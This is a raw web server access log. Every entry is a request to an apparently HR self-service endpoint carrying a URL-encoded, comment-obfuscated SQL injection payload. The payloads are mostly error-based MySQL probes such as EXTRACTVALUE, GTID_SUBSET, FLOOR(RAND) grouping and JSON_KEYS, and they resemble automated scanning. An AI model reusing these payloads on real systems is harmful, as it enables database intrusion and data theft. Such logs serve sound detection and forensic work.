100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x534b6949%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55623656%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x534b6949%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55623656%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55623941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52316756%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55623941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52316756%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a753570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65754234%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a753570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65754234%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x514f4230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32744a47%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x514f4230%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32744a47%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x46463333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d656947%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x46463333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d656947%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x62765836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42784b42%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x62765836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42784b42%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x45757454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c324d55%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x45757454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c324d55%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51514e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69774f78%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51514e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69774f78%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x36725a65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b613533%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x36725a65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b613533%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x73483748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e617067%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x73483748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e617067%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6252784e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656a5935%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6252784e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656a5935%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x704b6842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34476368%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x704b6842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34476368%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x704a346e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3542654b%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x704a346e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3542654b%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x78614332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a623936%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x78614332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a623936%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x394d3842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e575271%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x394d3842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e575271%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x52574433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76705471%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x52574433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76705471%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3578426f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6f3735%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x3578426f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6f3735%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6850544d%2C%28NULL%29%2C0x726d4c74%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6850544d%2C%28NULL%29%2C0x726d4c74%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
